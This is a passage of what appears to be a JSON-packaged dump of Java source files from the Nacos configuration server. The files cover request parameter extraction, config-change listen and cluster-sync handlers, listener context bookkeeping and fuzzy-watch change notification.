paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(getAliasNamespaceId(request));\n        paramInfo.setDataId(getAliasDataId(request));\n        paramInfo.setGroup(getAliasGroup(request));\n        paramInfo.setIp(getAliasIp(request));\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        return paramInfos;\n    }\n    \n    private String getAliasNamespaceId(HttpServletRequest request) {\n        String namespaceid = request.getParameter(\"namespaceId\");\n        if (StringUtils.isBlank(namespaceid)) {\n            namespaceid = request.getParameter(\"tenant\");\n        }\n        if (StringUtils.isBlank(namespaceid)) {\n            namespaceid = request.getParameter(\"namespace\");\n        }\n        return namespaceid;\n    }\n    \n    private String getAliasDataId(HttpServletRequest request) {\n        String dataid = request.getParameter(\"dataId\");\n        return dataid;\n    }\n    \n    private String getAliasGroup(HttpServletRequest request) {\n        String group = request.getParameter(\"groupName\");\n        if (StringUtils.isBlank(group)) {\n            group = request.getParameter(\"group\");\n        }\n        return group;\n    }\n    \n    private String getAliasIp(HttpServletRequest request) {\n        String ip = request.getParameter(\"ip\");\n        return ip;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/paramcheck/ConfigListenerHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.paramcheck;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.core.exception.ErrorCode;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLDecoder;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * ConfigListener http param extractor.\n *\n * @author zhuoguang\n */\npublic class ConfigListenerHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    static final char WORD_SEPARATOR_CHAR = (char) 2;\n    \n    static final char LINE_SEPARATOR_CHAR = (char) 1;\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) throws NacosRuntimeException {\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        String listenConfigs = request.getParameter(\"Listening-Configs\");\n        if (StringUtils.isBlank(listenConfigs)) {\n            return paramInfos;\n        }\n        try {\n            listenConfigs = URLDecoder.decode(listenConfigs, Constants.ENCODE);\n        } catch (UnsupportedEncodingException e) {\n            throw new NacosRuntimeException(ErrorCode.UnKnowError.getCode(), e);\n        }\n        if (StringUtils.isBlank(listenConfigs)) {\n            return paramInfos;\n        }\n        String[] lines = listenConfigs.split(Character.toString(LINE_SEPARATOR_CHAR));\n        for (String line : lines) {\n            ParamInfo paramInfo = new ParamInfo();\n            String[] words = line.split(Character.toString(WORD_SEPARATOR_CHAR));\n            if (words.length < 2 || words.length > 4) {\n                throw new IllegalArgumentException(\"invalid probeModify\");\n            }\n            paramInfo.setDataId(words[0]);\n            paramInfo.setGroup(words[1]);\n            if (words.length == 4) {\n                paramInfo.setNamespaceId(words[3]);\n            }\n            paramInfos.add(paramInfo);\n        }\n        return paramInfos;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigChangeBatchListenRequestHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.ConfigBatchListenRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.core.utils.StringPool;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\n/**\n * config change listen request handler.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeListenRequestHandler.java, v 0.1 2020年07月14日 10:11 AM liuzunfei Exp $\n */\n@Component\npublic class ConfigChangeBatchListenRequestHandler\n        extends RequestHandler<ConfigBatchListenRequest, ConfigChangeBatchListenResponse> {\n    \n    @Autowired\n    private ConfigChangeListenContext configChangeListenContext;\n    \n    @Override\n    @NamespaceValidation\n    @TpsControl(pointName = \"ConfigListen\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG)\n    @ExtractorManager.Extractor(rpcExtractor = ConfigBatchListenRequestParamExtractor.class)\n    public ConfigChangeBatchListenResponse handle(ConfigBatchListenRequest configChangeListenRequest, RequestMeta meta)\n            throws NacosException {\n        String connectionId = StringPool.get(meta.getConnectionId());\n        String tag = configChangeListenRequest.getHeader(Constants.VIPSERVER_TAG);\n        ParamUtils.checkParam(tag);\n        ConfigChangeBatchListenResponse configChangeBatchListenResponse = new ConfigChangeBatchListenResponse();\n        for (ConfigBatchListenRequest.ConfigListenContext listenContext : configChangeListenRequest.getConfigListenContexts()) {\n            boolean isNeedTransferNamespace = NamespaceUtil.isNeedTransferNamespace(listenContext.getTenant());\n            String namespaceId = NamespaceUtil.processNamespaceParameter(listenContext.getTenant());\n            String groupKey = GroupKey2.getKey(listenContext.getDataId(), listenContext.getGroup(), namespaceId);\n            groupKey = StringPool.get(groupKey);\n            \n            String md5 = StringPool.get(listenContext.getMd5());\n            \n            if (configChangeListenRequest.isListen()) {\n                configChangeListenContext.addListen(groupKey, md5, connectionId, isNeedTransferNamespace);\n                boolean isUptoDate = ConfigCacheService.isUptodate(groupKey, md5, meta.getClientIp(), tag,\n                        meta.getAppLabels());\n                if (!isUptoDate) {\n                    configChangeBatchListenResponse.addChangeConfig(listenContext.getDataId(), listenContext.getGroup(),\n                            listenContext.getTenant());\n                }\n            } else {\n                configChangeListenContext.removeListen(groupKey, connectionId);\n            }\n        }\n        \n        return configChangeBatchListenResponse;\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigChangeClusterSyncRequestHandler.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest;\nimport com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport com.alibaba.nacos.config.server.configuration.ConfigCompatibleConfig;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.DumpRequest;\nimport com.alibaba.nacos.config.server.service.dump.DumpService;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.ConfigRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.core.remote.grpc.InvokeSource;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.stereotype.Component;\n\n/**\n * handler to handler config change from other servers.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeClusterSyncRequestHandler.java, v 0.1 2020年08月11日 4:35 PM liuzunfei Exp $\n */\n@Component\n@InvokeSource(source = {RemoteConstants.LABEL_SOURCE_CLUSTER})\npublic class ConfigChangeClusterSyncRequestHandler\n        extends RequestHandler<ConfigChangeClusterSyncRequest, ConfigChangeClusterSyncResponse> {\n    \n    private final DumpService dumpService;\n    \n    private ConfigMigrateService configMigrateService;\n    \n    public ConfigChangeClusterSyncRequestHandler(DumpService dumpService,\n            ConfigMigrateService configMigrateService) {\n        this.dumpService = dumpService;\n        this.configMigrateService = configMigrateService;\n    }\n\n    @Override\n    @NamespaceValidation\n    @TpsControl(pointName = \"ClusterConfigChangeNotify\")\n    @ExtractorManager.Extractor(rpcExtractor = ConfigRequestParamExtractor.class)\n    @Secured(signType = SignType.CONFIG, apiType = ApiType.INNER_API)\n    public ConfigChangeClusterSyncResponse handle(ConfigChangeClusterSyncRequest configChangeSyncRequest,\n            RequestMeta meta) throws NacosException {\n        \n        checkCompatity(configChangeSyncRequest, meta);\n        \n        ParamUtils.checkParam(configChangeSyncRequest.getTag());\n        DumpRequest dumpRequest = DumpRequest.create(configChangeSyncRequest.getDataId(),\n                configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant(),\n                configChangeSyncRequest.getLastModified(), meta.getClientIp());\n        \n        dumpRequest.setGrayName(configChangeSyncRequest.getGrayName());\n        dumpService.dump(dumpRequest);\n        return new ConfigChangeClusterSyncResponse();\n    }\n    \n    /**\n     * if notified from old server,try to migrate and transfer gray model.\n     *\n     * @param configChangeSyncRequest request.\n     */\n    private void checkCompatity(ConfigChangeClusterSyncRequest configChangeSyncRequest, RequestMeta meta) {\n        if (PropertyUtil.isGrayCompatibleModel() && StringUtils.isBlank(configChangeSyncRequest.getGrayName())) {\n            if (configChangeSyncRequest.isBeta() || StringUtils.isNotBlank(configChangeSyncRequest.getTag())) {\n                \n                String grayName = null;\n                //from old server ,beta or tag persist into old model,try migrate and transfer gray model.\n                if (configChangeSyncRequest.isBeta()) {\n                    configMigrateService.checkMigrateBeta(configChangeSyncRequest.getDataId(),\n                            configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant());\n                    grayName = BetaGrayRule.TYPE_BETA;\n                } else {\n                    configMigrateService.checkMigrateTag(configChangeSyncRequest.getDataId(),\n                            configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant(),\n                            configChangeSyncRequest.getTag());\n                    grayName = TagGrayRule.TYPE_TAG + \"_\" + configChangeSyncRequest.getTag();\n                }\n                configChangeSyncRequest.setGrayName(grayName);\n                \n            }\n        }\n        \n        if (!checkNamespaceCompatible(configChangeSyncRequest, meta)) {\n            return;\n        }\n        \n        if (StringUtils.isNotBlank(configChangeSyncRequest.getGrayName())) {\n            configMigrateService.namespaceMigrateGray(configChangeSyncRequest.getDataId(),\n                    configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant(),\n                    configChangeSyncRequest.getGrayName());\n        } else {\n            configMigrateService.namespaceMigrate(configChangeSyncRequest.getDataId(),\n                    configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant());\n        }\n        \n        configChangeSyncRequest.setTenant(\"public\");\n    }\n    \n    /**\n     * Check namespace compatible boolean.\n     *\n     * @param configSyncRequest the config sync request\n     * @param meta              the meta\n     * @return the boolean\n     */\n    public boolean checkNamespaceCompatible(ConfigChangeClusterSyncRequest configSyncRequest, RequestMeta meta) {\n        if (!ConfigCompatibleConfig.getInstance().isNamespaceCompatibleMode()) {\n            return false;\n        }\n        final String ignoreCheckVersion = \"3.0.0\";\n        final String clusterVersionPrefixNew = \"Nacos-Server:v\";\n        final String clusterVersionPrefixOld = \"Nacos-Java-Client:v\";\n        try {\n            String version = null;\n            if (meta.getClientVersion().split(clusterVersionPrefixNew).length > 1) {\n                version = meta.getClientVersion().split(clusterVersionPrefixNew)[1];\n            } else {\n                version = meta.getClientVersion().split(clusterVersionPrefixOld)[1];\n            }\n            if (VersionUtils.compareVersion(version, ignoreCheckVersion) >= 0) {\n                return false;\n            }\n        } catch (Exception e) {\n            Loggers.REMOTE_DIGEST.error(\"checkCompatity error\", e);\n        }\n        return StringUtils.equals(configSyncRequest.getTenant(), \"public\") || StringUtils.isBlank(\n                configSyncRequest.getTenant());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigChangeListenContext.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * config change listen context.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeListenContext.java, v 0.1 2020年07月20日 1:37 PM liuzunfei Exp $\n */\n@Component\npublic class ConfigChangeListenContext {\n    \n    /**\n     * groupKey-> connection set.\n     */\n    private ConcurrentHashMap<String, HashSet<String>> groupKeyContext = new ConcurrentHashMap<>();\n    \n    /**\n     * connectionId-> group key set.\n     */\n    private ConcurrentHashMap<String, HashMap<String, ConfigListenState>> connectionIdContext = new ConcurrentHashMap<>();\n    \n    /**\n     * add listen.\n     *\n     * @param groupKey     groupKey.\n     * @param connectionId connectionId.\n     */\n    public synchronized void addListen(String groupKey, String md5, String connectionId, boolean isNamespaceTransfer) {\n        // 1.add groupKeyContext\n        groupKeyContext.computeIfAbsent(groupKey, k -> new HashSet<>()).add(connectionId);\n        // 2.add connectionIdContext\n        ConfigListenState listenState = new ConfigListenState(md5);\n        listenState.setNamespaceTransfer(isNamespaceTransfer);\n        connectionIdContext.computeIfAbsent(connectionId, k -> new HashMap<>(16)).put(groupKey, listenState);\n    }\n    \n    /**\n     * remove listen context for connection id .\n     *\n     * @param groupKey     groupKey.\n     * @param connectionId connection id.\n     */\n    public synchronized void removeListen(String groupKey, String connectionId) {\n        \n        //1. remove groupKeyContext\n        Set<String> connectionIds = groupKeyContext.get(groupKey);\n        if (connectionIds != null) {\n            connectionIds.remove(connectionId);\n            if (connectionIds.isEmpty()) {\n                groupKeyContext.remove(groupKey);\n            }\n        }\n        \n        //2.remove connectionIdContext\n        HashMap<String, ConfigListenState> groupKeys = connectionIdContext.get(connectionId);\n        if (groupKeys != null) {\n            groupKeys.remove(groupKey);\n        }\n    }\n    \n    /**\n     * get listeners of the group key.\n     *\n     * @param groupKey groupKey.\n     * @return the copy of listeners, may be return null.\n     */\n    public synchronized Set<String> getListeners(String groupKey) {\n        \n        HashSet<String> strings = groupKeyContext.get(groupKey);\n        if (CollectionUtils.isNotEmpty(strings)) {\n            Set<String> listenConnections = new HashSet<>();\n            safeCopy(strings, listenConnections);\n            return listenConnections;\n        }\n        return null;\n    }\n    \n    /**\n     * copy collections.\n     *\n     * @param src  may be modified concurrently\n     * @param dest dest collection\n     */\n    private void safeCopy(Collection src, Collection dest) {\n        Iterator iterator = src.iterator();\n        while (iterator.hasNext()) {\n            dest.add(iterator.next());\n        }\n    }\n    \n    /**\n     * remove the context related to the connection id.\n     *\n     * @param connectionId connectionId.\n     */\n    public synchronized void clearContextForConnectionId(final String connectionId) {\n        \n        Map<String, String> listenKeys = getListenKeys(connectionId);\n        \n        if (listenKeys == null) {\n            connectionIdContext.remove(connectionId);\n            return;\n        }\n        for (Map.Entry<String, String> groupKey : listenKeys.entrySet()) {\n\n            Set<String> connectionIds = groupKeyContext.get(groupKey.getKey());\n            if (CollectionUtils.isNotEmpty(connectionIds)) {\n                connectionIds.remove(connectionId);\n                if (connectionIds.isEmpty()) {\n                    groupKeyContext.remove(groupKey.getKey());\n                }\n            } else {\n                groupKeyContext.remove(groupKey.getKey());\n            }\n\n        }\n        connectionIdContext.remove(connectionId);\n    }\n    \n    /**\n     * get listen keys.\n     *\n     * @param connectionId connection id.\n     * @return listen group keys of the connection id, key:group key,value:md5\n     */\n    public synchronized Map<String, String> getListenKeys(String connectionId) {\n        HashMap<String, ConfigListenState> stringStringHashMap = connectionIdContext.get(connectionId);\n        if (stringStringHashMap != null) {\n            HashMap<String, String> md5Map = new HashMap<>(stringStringHashMap.size());\n            for (Map.Entry<String, ConfigListenState> entry : stringStringHashMap.entrySet()) {\n                md5Map.put(entry.getKey(), entry.getValue().getMd5());\n            }\n            return md5Map;\n        } else {\n            return null;\n        }\n    }\n    \n    /**\n     * get md5.\n     *\n     * @param connectionId connection id.\n     * @return md5 of the listen group key.\n     */\n    public String getListenKeyMd5(String connectionId, String groupKey) {\n        Map<String, ConfigListenState> groupKeyContexts = connectionIdContext.get(connectionId);\n        return groupKeyContexts == null ? null : groupKeyContexts.get(groupKey).getMd5();\n    }\n    \n    public ConfigListenState getConfigListenState(String connectionId, String groupKey) {\n        Map<String, ConfigListenState> groupKeyContexts = connectionIdContext.get(connectionId);\n        return groupKeyContexts == null ? null : groupKeyContexts.get(groupKey);\n    }\n    \n    public synchronized HashMap<String, ConfigListenState> getConfigListenStates(String connectionId) {\n        HashMap<String, ConfigListenState> configListenStateHashMap = connectionIdContext.get(connectionId);\n        return configListenStateHashMap == null ? null : new HashMap<>(configListenStateHashMap);\n    }\n    \n    /**\n     * get connection count.\n     *\n     * @return count of long connections.\n     */\n    public int getConnectionCount() {\n        return connectionIdContext.size();\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigClusterRpcClientProxy.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.remote.ClusterRpcClientProxy;\nimport org.springframework.stereotype.Service;\n\n/**\n * ConfigClusterRpcClientProxy.\n *\n * @author liuzunfei\n * @version $Id: ConfigClusterRpcClientProxy.java, v 0.1 2020年08月11日 4:28 PM liuzunfei Exp $\n */\n@Service\npublic class ConfigClusterRpcClientProxy {\n    \n    final ClusterRpcClientProxy clusterRpcClientProxy;\n    \n    public ConfigClusterRpcClientProxy(ClusterRpcClientProxy clusterRpcClientProxy) {\n        this.clusterRpcClientProxy = clusterRpcClientProxy;\n    }\n    \n    /**\n     * sync config change request.\n     *\n     * @param member  member of server.\n     * @param request request of config change sync.\n     * @param callBack callBack of config change sync.\n     * @throws NacosException exception.\n     */\n    public void syncConfigChange(Member member, ConfigChangeClusterSyncRequest request, RequestCallBack callBack)\n            throws NacosException {\n    \n        clusterRpcClientProxy.asyncRequest(member, request, callBack);\n        \n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigConnectionEventListener.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.config.server.service.ConfigFuzzyWatchContextService;\nimport com.alibaba.nacos.core.remote.ClientConnectionEventListener;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport org.springframework.stereotype.Component;\n\n/**\n * ConfigConnectionEventListener.\n *\n * @author liuzunfei\n * @version $Id: ConfigConnectionEventListener.java, v 0.1 2020年07月20日 2:27 PM liuzunfei Exp $\n */\n@Component\npublic class ConfigConnectionEventListener extends ClientConnectionEventListener {\n    \n    final ConfigChangeListenContext configChangeListenContext;\n    \n    final ConfigFuzzyWatchContextService configFuzzyWatchContextService;\n    \n    public ConfigConnectionEventListener(ConfigChangeListenContext configChangeListenContext,\n            ConfigFuzzyWatchContextService configFuzzyWatchContextService) {\n        this.configChangeListenContext = configChangeListenContext;\n        this.configFuzzyWatchContextService = configFuzzyWatchContextService;\n    }\n    \n    @Override\n    public void clientConnected(Connection connect) {\n        //Do nothing.\n    }\n    \n    @Override\n    public void clientDisConnected(Connection connect) {\n        String connectionId = connect.getMetaInfo().getConnectionId();\n        Loggers.REMOTE_DIGEST.info(\"[{}]client disconnected,clear config listen context\", connectionId);\n        configChangeListenContext.clearContextForConnectionId(connectionId);\n        configFuzzyWatchContextService.clearFuzzyWatchContext(connectionId);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigFuzzyWatchChangeNotifier.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigFuzzyWatchContextService;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport org.springframework.stereotype.Component;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.CONFIG_CHANGED;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.DELETE_CONFIG;\n\n/**\n * Notify remote clients about fuzzy listen configuration changes. Use subscriber mode to monitor local data changes,\n * and push notifications to remote clients accordingly.\n *\n * @author stone-98\n * @date 2024/3/18\n */\n@Component\npublic class ConfigFuzzyWatchChangeNotifier extends Subscriber<LocalDataChangeEvent> {\n    \n    private final ConnectionManager connectionManager;\n    \n    private RpcPushService rpcPushService;\n    \n    private final ConfigFuzzyWatchContextService configFuzzyWatchContextService;\n    \n    /**\n     * Constructs RpcFuzzyListenConfigChangeNotifier with the specified dependencies.\n     *\n     * @param connectionManager The manager for connections.\n     * @param rpcPushService    The service for RPC push.\n     */\n    public ConfigFuzzyWatchChangeNotifier(ConnectionManager connectionManager, RpcPushService rpcPushService,\n            ConfigFuzzyWatchContextService configFuzzyWatchContextService) {\n        this.rpcPushService = rpcPushService;\n        this.connectionManager = connectionManager;\n        this.configFuzzyWatchContextService = configFuzzyWatchContextService;\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    @Override\n    public void onEvent(LocalDataChangeEvent event) {\n        \n        boolean exists = ConfigCacheService.getContentCache(event.groupKey) != null;\n        //can not recognize add or update,  set config_changed here\n        String changedType = exists ? CONFIG_CHANGED : DELETE_CONFIG;\n        boolean needNotify = configFuzzyWatchContextService.syncGroupKeyContext(event.groupKey, changedType);\n        if (needNotify) {\n            for (String clientId : configFuzzyWatchContextService.getMatchedClients(event.groupKey)) {\n                Connection connection = connectionManager.getConnection(clientId);\n                if (null == connection) {\n                    Loggers.REMOTE_PUSH.warn(\n                            \"clientId not found, Config change notification not sent. clientId={},keyGroupPattern={}\",\n                            clientId, event.groupKey);\n                    continue;\n                }\n                \n                ConfigFuzzyWatchChangeNotifyRequest request = new ConfigFuzzyWatchChangeNotifyRequest(event.groupKey,\n                        changedType);\n                int maxPushRetryTimes = ConfigCommonConfig.getInstance().getMaxPushRetryTimes();\n                FuzzyWatchChangeNotifyTask fuzzyWatchChangeNotifyTask = new FuzzyWatchChangeNotifyTask(\n                        connectionManager, rpcPushService, request, maxPushRetryTimes, clientId);\n                fuzzyWatchChangeNotifyTask.scheduleSelf();\n            }\n        }\n        \n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return LocalDataChangeEvent.class;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/ConfigFuzzyWatchRequestHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.config.server.model.event.ConfigFuzzyWatchEvent;\nimport com.alibaba.nacos.config.server.service.ConfigFuzzyWatchContextService;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.ConfigFuzzyWatchRequestParamsExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.core.utils.StringPool;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.common.Constants.WATCH_TYPE_CANCEL_WATCH;\nimport static com.alibaba.nacos.api.common.Constants.WATCH_TYPE_WATCH;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\n\n/**\n * Handler for processing batch fuzzy 